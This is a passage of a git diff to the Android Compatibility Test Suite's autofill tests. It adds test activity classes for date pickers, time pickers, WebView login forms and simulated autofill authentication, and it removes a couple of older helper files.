-        final UiObject2 activity = uiBot.assertShownByRelativeId(ID_WELCOME);
-        if (expectedMessage == null) {
-            expectedMessage = "Welcome to the jungle!";
-        }
-        assertWithMessage("wrong text on '%s'", activity).that(activity.getText())
-                .isEqualTo(expectedMessage);
-    }
-
-    public static IntentSender createSender(Context context, String message) {
-        if (sPendingIntent != null) {
-            throw new IllegalArgumentException("Already have pending intent (id="
-                    + sPendingIntentId + "): " + sPendingIntent);
-        }
-        ++sPendingIntentId;
-        Log.v(TAG, "createSender: id=" + sPendingIntentId + " message=" + message);
-        final Intent intent = new Intent(context, WelcomeActivity.class)
-                .putExtra(EXTRA_MESSAGE, message)
-                .setFlags(Intent.FLAG_ACTIVITY_NO_HISTORY);
-        sPendingIntent = PendingIntent.getActivity(context, sPendingIntentId, intent, 0);
-        return sPendingIntent.getIntentSender();
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WindowChangeTimeoutException.java b/tests/autofillservice/src/android/autofillservice/cts/WindowChangeTimeoutException.java
deleted file mode 100644
index 1225a47..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/WindowChangeTimeoutException.java
+++ /dev/null
@@ -1,27 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import androidx.annotation.NonNull;
-
-import com.android.compatibility.common.util.RetryableException;
-
-public final class WindowChangeTimeoutException extends RetryableException {
-
-    public WindowChangeTimeoutException(@NonNull Throwable cause, long timeoutMillis) {
-        super(cause, "no window change event in %dms", timeoutMillis);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/AbstractAutoFillActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/AbstractAutoFillActivity.java
new file mode 100644
index 0000000..70e04b7
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/AbstractAutoFillActivity.java
@@ -0,0 +1,186 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.activities;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.Activity;
+import android.autofillservice.cts.testcore.AutofillTestWatcher;
+import android.autofillservice.cts.testcore.MyAutofillCallback;
+import android.autofillservice.cts.testcore.Timeouts;
+import android.graphics.Bitmap;
+import android.graphics.Rect;
+import android.os.Bundle;
+import android.view.PixelCopy;
+import android.view.View;
+import android.view.autofill.AutofillManager;
+
+import androidx.annotation.NonNull;
+
+import com.android.compatibility.common.util.RetryableException;
+import com.android.compatibility.common.util.SynchronousPixelCopy;
+import com.android.compatibility.common.util.Timeout;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+  * Base class for all activities in this test suite
+  */
+public abstract class AbstractAutoFillActivity extends Activity {
+
+    private final CountDownLatch mDestroyedLatch = new CountDownLatch(1);
+    protected final String mTag = getClass().getSimpleName();
+    private MyAutofillCallback mCallback;
+
+    /**
+     * Run an action in the UI thread, and blocks caller until the action is finished.
+     */
+    public final void syncRunOnUiThread(Runnable action) {
+        syncRunOnUiThread(action, Timeouts.UI_TIMEOUT.ms());
+    }
+
+    /**
+     * Run an action in the UI thread, and blocks caller until the action is finished or it times
+     * out.
+     */
+    public final void syncRunOnUiThread(Runnable action, long timeoutMs) {
+        final CountDownLatch latch = new CountDownLatch(1);
+        runOnUiThread(() -> {
+            action.run();
+            latch.countDown();
+        });
+        try {
+            if (!latch.await(timeoutMs, TimeUnit.MILLISECONDS)) {
+                throw new RetryableException("action on UI thread timed out after %d ms",
+                        timeoutMs);
+            }
+        } catch (InterruptedException e) {
+            Thread.currentThread().interrupt();
+            throw new RuntimeException("Interrupted", e);
+        }
+    }
+
+    public AutofillManager getAutofillManager() {
+        return getSystemService(AutofillManager.class);
+    }
+
+    /**
+     * Takes a screenshot from the whole activity.
+     *
+     * <p><b>Note:</b> this screenshot only contains the contents of the activity, it doesn't
+     * include the autofill UIs; if you need to check that, please use
+     * {@link UiBot#takeScreenshot()} instead.
+     */
+    public Bitmap takeScreenshot() {
+        return takeScreenshot(findViewById(android.R.id.content).getRootView());
+    }
+
+    /**
+     * Takes a screenshot from the a view.
+     */
+    public Bitmap takeScreenshot(View view) {
+        final Rect srcRect = new Rect();
+        syncRunOnUiThread(() -> view.getGlobalVisibleRect(srcRect));
+        final Bitmap dest = Bitmap.createBitmap(
+                srcRect.width(), srcRect.height(), Bitmap.Config.ARGB_8888);
+
+        final SynchronousPixelCopy copy = new SynchronousPixelCopy();
+        final int copyResult = copy.request(getWindow(), srcRect, dest);
+        assertThat(copyResult).isEqualTo(PixelCopy.SUCCESS);
+
+        return dest;
+    }
+
+    /**
+     * Registers and returns a custom callback for autofill events.
+     *
+     * <p>Note: caller doesn't need to call {@link #unregisterCallback()}, it will be automatically
+     * unregistered on {@link #finish()}.
+     */
+    public MyAutofillCallback registerCallback() {
+        assertWithMessage("already registered").that(mCallback).isNull();
+        mCallback = new MyAutofillCallback();
+        getAutofillManager().registerCallback(mCallback);
+        return mCallback;
+    }
+
+    /**
+     * Unregister the callback from the {@link AutofillManager}.
+     *
+     * <p>This method just neeed to be called when a test case wants to explicitly test the behavior
+     * of the activity when the callback is unregistered.
+     */
+    public void unregisterCallback() {
+        assertWithMessage("not registered").that(mCallback).isNotNull();
+        unregisterNonNullCallback();
+    }
+
+    /**
+     * Waits until {@link #onDestroy()} is called.
+     */
+    public void waitUntilDestroyed(@NonNull Timeout timeout) throws InterruptedException {
+        if (!mDestroyedLatch.await(timeout.ms(), TimeUnit.MILLISECONDS)) {
+            throw new RetryableException(timeout, "activity %s not destroyed", this);
+        }
+    }
+
+    private void unregisterNonNullCallback() {
+        getAutofillManager().unregisterCallback(mCallback);
+        mCallback = null;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        AutofillTestWatcher.registerActivity("onCreate()", this);
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+
+        // Activitiy is typically unregistered at finish(), but we need to unregister here too
+        // for the cases where it's destroyed due to a config change (like device rotation).
+        AutofillTestWatcher.unregisterActivity("onDestroy()", this);
+        mDestroyedLatch.countDown();
+    }
+
+    @Override
+    public void finish() {
+        finishOnly();
+        AutofillTestWatcher.unregisterActivity("finish()", this);
+    }
+
+    /**
+     * Finishes the activity, without unregistering it from {@link AutofillTestWatcher}.
+     */
+    public void finishOnly() {
+        if (mCallback != null) {
+            unregisterNonNullCallback();
+        }
+        super.finish();
+    }
+
+    /**
+     * Clears focus from input fields.
+     */
+    public void clearFocus() {
+        throw new UnsupportedOperationException("Not implemented by " + getClass());
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/AbstractDatePickerActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/AbstractDatePickerActivity.java
new file mode 100644
index 0000000..09a386d
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/AbstractDatePickerActivity.java
@@ -0,0 +1,157 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.testcore.MultipleTimesTextWatcher;
+import android.autofillservice.cts.testcore.OneTimeDateListener;
+import android.autofillservice.cts.testcore.Visitor;
+import android.content.Intent;
+import android.os.Bundle;
+import android.widget.Button;
+import android.widget.DatePicker;
+import android.widget.EditText;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Base class for an activity that has the following fields:
+ *
+ * <ul>
+ *   <li>A DatePicker (id: date_picker)
+ *   <li>An EditText that is filled with the DatePicker when it changes (id: output)
+ *   <li>An OK button that finishes it and navigates to the {@link WelcomeActivity}
+ * </ul>
+ *
+ * <p>It's abstract because the sub-class must provide the view id, so it can support multiple
+ * UI types (like calendar and spinner).
+ */
+public abstract class AbstractDatePickerActivity extends AbstractAutoFillActivity {
+
+    private static final long OK_TIMEOUT_MS = 1000;
+
+    public static final String ID_DATE_PICKER = "date_picker";
+    public static final String ID_OUTPUT = "output";
+
+    private DatePicker mDatePicker;
+    private EditText mOutput;
+    private Button mOk;
+
+    private FillExpectation mExpectation;
+    private CountDownLatch mOkLatch;
+
+    protected abstract int getContentView();
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(getContentView());
+
+        mDatePicker = (DatePicker) findViewById(R.id.date_picker);
+
+        mDatePicker.setOnDateChangedListener((v, y, m, d) -> updateOutputWithDate(y, m, d));
+
+        mOutput = (EditText) findViewById(R.id.output);
+        mOk = (Button) findViewById(R.id.ok);
+        mOk.setOnClickListener((v) -> ok());
+    }
+
+    public DatePicker getDatePicker() {
+        return mDatePicker;
+    }
+
+    private void updateOutputWithDate(int year, int month, int day) {
+        final String date = year + "/" + month + "/" + day;
+        mOutput.setText(date);
+    }
+
+    private void ok() {
+        final Intent intent = new Intent(this, WelcomeActivity.class);
+        intent.putExtra(WelcomeActivity.EXTRA_MESSAGE, "Good news everyone! The world didn't end!");
+        startActivity(intent);
+        if (mOkLatch != null) {
+            // Latch is not set when activity launched outside tests
+            mOkLatch.countDown();
+        }
+        finish();
+    }
+
+    /**
+     * Sets the expectation for an auto-fill request, so it can be asserted through
+     * {@link #assertAutoFilled()} later.
+     */
+    public void expectAutoFill(String output, int year, int month, int day) {
+        mExpectation = new FillExpectation(output, year, month, day);
+        mOutput.addTextChangedListener(mExpectation.outputWatcher);
+        mDatePicker.setOnDateChangedListener((v, y, m, d) -> {
+            updateOutputWithDate(y, m, d);
+            mExpectation.dateListener.onDateChanged(v, y, m, d);
+        });
+    }
+
+    /**
+     * Asserts the activity was auto-filled with the values passed to
+     * {@link #expectAutoFill(String, int, int, int)}.
+     */
+    public void assertAutoFilled() throws Exception {
+        assertWithMessage("expectAutoFill() not called").that(mExpectation).isNotNull();
+        mExpectation.outputWatcher.assertAutoFilled();
+        mExpectation.dateListener.assertAutoFilled();
+    }
+
+    /**
+     * Visits the {@code output} in the UiThread.
+     */
+    public void onOutput(Visitor<EditText> v) {
+        syncRunOnUiThread(() -> v.visit(mOutput));
+    }
+
+    /**
+     * Sets the date in the {@link DatePicker}.
+     */
+    public void setDate(int year, int month, int day) {
+        syncRunOnUiThread(() -> mDatePicker.updateDate(year, month, day));
+    }
+
+    /**
+     * Taps the ok button in the UI thread.
+     */
+    public void tapOk() throws Exception {
+        mOkLatch = new CountDownLatch(1);
+        syncRunOnUiThread(() -> mOk.performClick());
+        boolean called = mOkLatch.await(OK_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        assertWithMessage("Timeout (%s ms) waiting for OK action", OK_TIMEOUT_MS)
+                .that(called).isTrue();
+    }
+
+    /**
+     * Holder for the expected auto-fill values.
+     */
+    private final class FillExpectation {
+        private final MultipleTimesTextWatcher outputWatcher;
+        private final OneTimeDateListener dateListener;
+
+        private FillExpectation(String output, int year, int month, int day) {
+            // Output is called twice: by the DateChangeListener and by auto-fill.
+            outputWatcher = new MultipleTimesTextWatcher("output", 2, mOutput, output);
+            dateListener = new OneTimeDateListener("datePicker", mDatePicker, year, month, day);
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/AbstractTimePickerActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/AbstractTimePickerActivity.java
new file mode 100644
index 0000000..7b2e8e2
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/AbstractTimePickerActivity.java
@@ -0,0 +1,157 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.testcore.MultipleTimesTextWatcher;
+import android.autofillservice.cts.testcore.MultipleTimesTimeListener;
+import android.autofillservice.cts.testcore.Visitor;
+import android.content.Intent;
+import android.os.Bundle;
+import android.widget.Button;
+import android.widget.EditText;
+import android.widget.TimePicker;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Base class for an activity that has the following fields:
+ *
+ * <ul>
+ *   <li>A TimePicker (id: date_picker)
+ *   <li>An EditText that is filled with the TimePicker when it changes (id: output)
+ *   <li>An OK button that finishes it and navigates to the {@link WelcomeActivity}
+ * </ul>
+ *
+ * <p>It's abstract because the sub-class must provide the view id, so it can support multiple
+ * UI types (like clock and spinner).
+ */
+public abstract class AbstractTimePickerActivity extends AbstractAutoFillActivity {
+
+    private static final long OK_TIMEOUT_MS = 1000;
+
+    public static final String ID_TIME_PICKER = "time_picker";
+    public static final String ID_OUTPUT = "output";
+
+    private TimePicker mTimePicker;
+    private EditText mOutput;
+    private Button mOk;
+
+    private FillExpectation mExpectation;
+    private CountDownLatch mOkLatch;
+
+    protected abstract int getContentView();
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(getContentView());
+
+        mTimePicker = (TimePicker) findViewById(R.id.time_picker);
+
+        mTimePicker.setOnTimeChangedListener((v, m, h) -> updateOutputWithTime(m, h));
+
+        mOutput = (EditText) findViewById(R.id.output);
+        mOk = (Button) findViewById(R.id.ok);
+        mOk.setOnClickListener((v) -> ok());
+    }
+
+    private void updateOutputWithTime(int hour, int minute) {
+        final String time = hour + ":" + minute;
+        mOutput.setText(time);
+    }
+
+    private void ok() {
+        final Intent intent = new Intent(this, WelcomeActivity.class);
+        intent.putExtra(WelcomeActivity.EXTRA_MESSAGE, "It's Adventure Time!");
+        startActivity(intent);
+        if (mOkLatch != null) {
+            // Latch is not set when activity launched outside tests
+            mOkLatch.countDown();
+        }
+        finish();
+    }
+
+    /**
+     * Sets the expectation for an auto-fill request, so it can be asserted through
+     * {@link #assertAutoFilled()} later.
+     */
+    public void expectAutoFill(String output, int hour, int minute) {
+        mExpectation = new FillExpectation(output, hour, minute);
+        mOutput.addTextChangedListener(mExpectation.outputWatcher);
+        mTimePicker.setOnTimeChangedListener((v, h, m) -> {
+            updateOutputWithTime(h, m);
+            mExpectation.timeListener.onTimeChanged(v, h, m);
+        });
+    }
+
+    /**
+     * Asserts the activity was auto-filled with the values passed to
+     * {@link #expectAutoFill(String, int, int)}.
+     */
+    public void assertAutoFilled() throws Exception {
+        assertWithMessage("expectAutoFill() not called").that(mExpectation).isNotNull();
+        mExpectation.timeListener.assertAutoFilled();
+        mExpectation.outputWatcher.assertAutoFilled();
+    }
+
+    /**
+     * Visits the {@code output} in the UiThread.
+     */
+    public void onOutput(Visitor<EditText> v) {
+        syncRunOnUiThread(() -> v.visit(mOutput));
+    }
+
+    /**
+     * Sets the time in the {@link TimePicker}.
+     */
+    public void setTime(int hour, int minute) {
+        syncRunOnUiThread(() -> {
+            mTimePicker.setHour(hour);
+            mTimePicker.setMinute(minute);
+        });
+    }
+
+    /**
+     * Taps the ok button in the UI thread.
+     */
+    public void tapOk() throws Exception {
+        mOkLatch = new CountDownLatch(1);
+        syncRunOnUiThread(() -> mOk.performClick());
+        boolean called = mOkLatch.await(OK_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        assertWithMessage("Timeout (%s ms) waiting for OK action", OK_TIMEOUT_MS)
+                .that(called).isTrue();
+    }
+
+    /**
+     * Holder for the expected auto-fill values.
+     */
+    private final class FillExpectation {
+        private final MultipleTimesTextWatcher outputWatcher;
+        private final MultipleTimesTimeListener timeListener;
+
+        private FillExpectation(String output, int hour, int minute) {
+            // Output is called twice: by the TimeChangeListener and by auto-fill.
+            outputWatcher = new MultipleTimesTextWatcher("output", 2, mOutput, output);
+            timeListener = new MultipleTimesTimeListener("timePicker", 1, mTimePicker, hour,
+                    minute);
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/AbstractWebViewActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/AbstractWebViewActivity.java
new file mode 100644
index 0000000..a6b5938
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/AbstractWebViewActivity.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.testcore.UiBot;
+import android.os.SystemClock;
+import android.support.test.uiautomator.UiObject2;
+import android.view.KeyEvent;
+import android.widget.EditText;
+
+public abstract class AbstractWebViewActivity extends AbstractAutoFillActivity {
+
+    public static final String FAKE_DOMAIN = "y.u.no.real.server";
+
+    public static final String HTML_NAME_USERNAME = "username";
+    public static final String HTML_NAME_PASSWORD = "password";
+
+    protected MyWebView mWebView;
+
+    protected UiObject2 getInput(UiBot uiBot, UiObject2 label) throws Exception {
+        // Then the input is next.
+        final UiObject2 parent = label.getParent();
+        UiObject2 previous = null;
+        for (UiObject2 child : parent.getChildren()) {
+            if (label.equals(previous)) {
+                if (child.getClassName().equals(EditText.class.getName())) {
+                    return child;
+                }
+                uiBot.dumpScreen("getInput() for " + child + "failed");
+                throw new IllegalStateException("Invalid class for " + child);
+            }
+            previous = child;
+        }
+        uiBot.dumpScreen("getInput() for label " + label + "failed");
+        throw new IllegalStateException("could not find username (label=" + label + ")");
+    }
+
+    public void dispatchKeyPress(int keyCode) {
+        runOnUiThread(() -> {
+            KeyEvent keyEvent = new KeyEvent(KeyEvent.ACTION_DOWN, keyCode);
+            mWebView.dispatchKeyEvent(keyEvent);
+            keyEvent = new KeyEvent(KeyEvent.ACTION_UP, keyCode);
+            mWebView.dispatchKeyEvent(keyEvent);
+        });
+        // wait webview to process the key event.
+        SystemClock.sleep(300);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/AttachedContextActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/AttachedContextActivity.java
new file mode 100644
index 0000000..47da817
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/AttachedContextActivity.java
@@ -0,0 +1,76 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.testcore.OneTimeTextWatcher;
+import android.content.Context;
+import android.content.res.Configuration;
+import android.content.res.Resources;
+import android.os.Bundle;
+import android.widget.EditText;
+
+import java.util.Locale;
+
+/**
+ * Simple activity that attaches a new base context.
+ */
+public class AttachedContextActivity extends AbstractAutoFillActivity {
+    public static final String ID_INPUT = "input";
+
+    public EditText mInput;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.simple_save_activity);
+
+        mInput = findViewById(R.id.input);
+    }
+
+    @Override
+    protected void attachBaseContext(Context newBase) {
+        final Context localContext = applyLocale(newBase, "en");
+        super.attachBaseContext(localContext);
+    }
+
+    private Context applyLocale(Context context, String language) {
+        final Resources resources = context.getResources();
+        final Configuration configuration = resources.getConfiguration();
+        configuration.setLocale(new Locale(language));
+        return context.createConfigurationContext(configuration);
+    }
+
+    public FillExpectation expectAutoFill(String input) {
+        final FillExpectation expectation = new FillExpectation(input);
+        mInput.addTextChangedListener(expectation.mInputWatcher);
+        return expectation;
+    }
+
+    public final class FillExpectation {
+        private final OneTimeTextWatcher mInputWatcher;
+
+        private FillExpectation(String input) {
+            mInputWatcher = new OneTimeTextWatcher("input", mInput, input);
+        }
+
+        public void assertAutoFilled() throws Exception {
+            mInputWatcher.assertAutoFilled();
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/AugmentedAuthActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/AugmentedAuthActivity.java
new file mode 100644
index 0000000..6c6dafe
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/AugmentedAuthActivity.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.activities;
+
+import android.app.PendingIntent;
+import android.autofillservice.cts.R;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentSender;
+import android.os.Bundle;
+import android.service.autofill.Dataset;
+import android.util.Log;
+import android.view.autofill.AutofillManager;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Activity for testing Augmented Autofill authentication flow. This activity shows a simple UI;
+ * when the UI is tapped, it returns whatever data was configured via the auth intent.
+ */
+public class AugmentedAuthActivity extends AbstractAutoFillActivity {
+    private static final String TAG = "AugmentedAuthActivity";
+
+    public static final String ID_AUTH_ACTIVITY_BUTTON = "button";
+
+    private static final String EXTRA_DATASET_TO_RETURN = "dataset_to_return";
+    private static final String EXTRA_CLIENT_STATE_TO_RETURN = "client_state_to_return";
+    private static final String EXTRA_RESULT_CODE_TO_RETURN = "result_code_to_return";
+
+    private static final List<PendingIntent> sPendingIntents = new ArrayList<>(1);
+
+    public static void resetStaticState() {
+        for (PendingIntent pendingIntent : sPendingIntents) {
+            pendingIntent.cancel();
+        }
+        sPendingIntents.clear();
+    }
+
+    public static IntentSender createSender(Context context, int requestCode,
+            Dataset datasetToReturn, Bundle clientStateToReturn, int resultCodeToReturn) {
+        Intent intent = new Intent(context, AugmentedAuthActivity.class);
+        intent.putExtra(EXTRA_DATASET_TO_RETURN, datasetToReturn);
+        intent.putExtra(EXTRA_CLIENT_STATE_TO_RETURN, clientStateToReturn);
+        intent.putExtra(EXTRA_RESULT_CODE_TO_RETURN, resultCodeToReturn);
+        PendingIntent pendingIntent = PendingIntent.getActivity(context, requestCode, intent,
+                PendingIntent.FLAG_IMMUTABLE);
+        sPendingIntents.add(pendingIntent);
+        return pendingIntent.getIntentSender();
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        Log.d(TAG, "Auth activity invoked, showing auth UI");
+        setContentView(R.layout.single_button_activity);
+        findViewById(R.id.button).setOnClickListener((v) -> {
+            Log.d(TAG, "Auth UI tapped, returning result");
+
+            Intent intent = getIntent();
+            Dataset dataset = intent.getParcelableExtra(EXTRA_DATASET_TO_RETURN);
+            Bundle clientState = intent.getParcelableExtra(EXTRA_CLIENT_STATE_TO_RETURN);
+            int resultCode = intent.getIntExtra(EXTRA_RESULT_CODE_TO_RETURN, RESULT_OK);
+            Log.d(TAG, "Output: dataset=" + dataset + ", clientState=" + clientState
+                    + ", resultCode=" + resultCode);
+
+            Intent result = new Intent();
+            result.putExtra(AutofillManager.EXTRA_AUTHENTICATION_RESULT, dataset);
+            result.putExtra(AutofillManager.EXTRA_CLIENT_STATE, clientState);
+            setResult(resultCode, result);
+
+            finish();
+        });
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/AugmentedLoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/AugmentedLoginActivity.java
new file mode 100644
index 0000000..422ff81
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/AugmentedLoginActivity.java
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.activities;
+
+// Currently it's same as LoginActivity, except that it allows rotation.
+public class AugmentedLoginActivity extends LoginActivity {
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/AuthenticationActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/AuthenticationActivity.java
new file mode 100644
index 0000000..3ae2b13
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/AuthenticationActivity.java
@@ -0,0 +1,315 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.activities;
+
+import static android.autofillservice.cts.testcore.CannedFillResponse.ResponseType.NULL;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.Activity;
+import android.app.PendingIntent;
+import android.app.assist.AssistStructure;
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.Helper;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentSender;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
+import android.os.Parcelable;
+import android.util.Log;
+import android.util.SparseArray;
+import android.view.autofill.AutofillManager;
+import android.widget.Button;
+import android.widget.EditText;
+
+import com.google.common.base.Preconditions;
+
+import java.util.ArrayList;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * This class simulates authentication at the dataset at reponse level
+ */
+public class AuthenticationActivity extends AbstractAutoFillActivity {
+
+    private static final String TAG = "AuthenticationActivity";
+    private static final String EXTRA_DATASET_ID = "dataset_id";
+    private static final String EXTRA_RESPONSE_ID = "response_id";
+
+    /**
+     * When launched with this intent, it will pass it back to the
+     * {@link AutofillManager#EXTRA_CLIENT_STATE} of the result.
+     */
+    private static final String EXTRA_OUTPUT_CLIENT_STATE = "output_client_state";
+
+    /**
+     * When launched with this intent, it will pass it back to the
+     * {@link AutofillManager#EXTRA_AUTHENTICATION_RESULT_EPHEMERAL_DATASET} of the result.
+     */
+    private static final String EXTRA_OUTPUT_IS_EPHEMERAL_DATASET = "output_is_ephemeral_dataset";
+
+
+    private static final int MSG_WAIT_FOR_LATCH = 1;
+    private static final int MSG_REQUEST_AUTOFILL = 2;
+
+    private static Bundle sData;
+    private static final SparseArray<CannedDataset> sDatasets = new SparseArray<>();
+    private static final SparseArray<CannedFillResponse> sResponses = new SparseArray<>();
+    private static final ArrayList<PendingIntent> sPendingIntents = new ArrayList<>();
+
+    private static Object sLock = new Object();
+
+    // Guarded by sLock
+    private static int sResultCode;
+
+    // Guarded by sLock
+    // Used to block response until it's counted down.
